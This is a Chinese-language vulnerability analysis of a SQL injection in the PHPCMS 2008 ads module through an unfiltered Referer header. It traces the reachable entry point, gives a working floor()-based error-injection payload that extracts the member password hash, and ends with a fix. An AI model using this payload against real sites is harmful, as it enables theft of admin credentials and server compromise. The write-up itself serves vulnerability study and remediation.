phpCMS2008由于广告模块取 referer 不严，导致一处sql注入漏洞.可以得到管理员用户名与密码，攻击者登录后台后可能会获取webshell，对服务器进行进一步的渗透。
0x01 漏洞分析漏洞产生的位置：
/ads/include/ads_place.class.php 的 show 方法中.
function show($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] = ads_content($ads, 1); $this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]’,’$_username’,’$ip’,‘$this->referrer’,‘$time’,,’0’)”); $template = $ads['template'] ? $ads['template'] : 'ads'; } } ...sql语句中
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]’,’$_username’,’$ip’,‘$this->referrer’,‘$time’,,’0’)”);这里 $this->referrer 通过 this 方法直接将HTTP请求头中的 referer 字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。
所以现在已经找到漏洞点，下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的，比如只能管理员利用，那就相当的鸡肋了。
这里使用 回溯 的方法，看看哪些页面调用了它。
页面 /ads/include/commom.inc.php
<?php ... require MOD_ROOT.'include/ads_place.class.php'; require MOD_ROOT.'include/ads.class.php'; ... ?>在往上看看谁调用了 /ads/include/commom.inc.php
/ads/ad.php 文件中
<?php ... require './include/common.inc.php'; ... ?>ad.php 文件为用户可控文件，但 ad.php 有时不能访问，继续向上查找 /data/js.php
<?php chdir(‘../ads/’); require ‘./ad.php’; ?>在用户访问首页时，会调用 js.php ，通过该文件可以提交有害字段，然后通过逐层调用，传入字段 referer 到危险方法 show ，引入SQL注入攻击。
0x02 漏洞利用修改请求头中的 referer 字段的话有很多种，比如burpsuite，Tamper Data…
这里直接使用火狐的Tamper Data进行修改：
点击Start Tamper,然后访问 http://your-addr/data/js.php?id=1
这时候Tamper Data会跳出来,在右边框内，点击右键，添加一个 element 值填写payload
referer=1’, (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0’)#这里我解释一下：因为漏洞的sql语句是 INSERT 是不回显的，所以可以使用盲注，这里的payload使用的 floor 报错注入。floor报错注入原理请参考：floor函数用法
把这个payload带入sql语句中是：
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]’,’$_username’,’$ip’,‘1’,‘$time’,(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0’)#,’0’)”);
0x03 漏洞修复
对相关字段进行过滤处理。
$referer = safe_replace($this->referer); $this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')"); $template = $ads['template'] ? $ads['template'] : 'ads';这里 safe_replace 是PHPCMS2008封装的过滤函数。
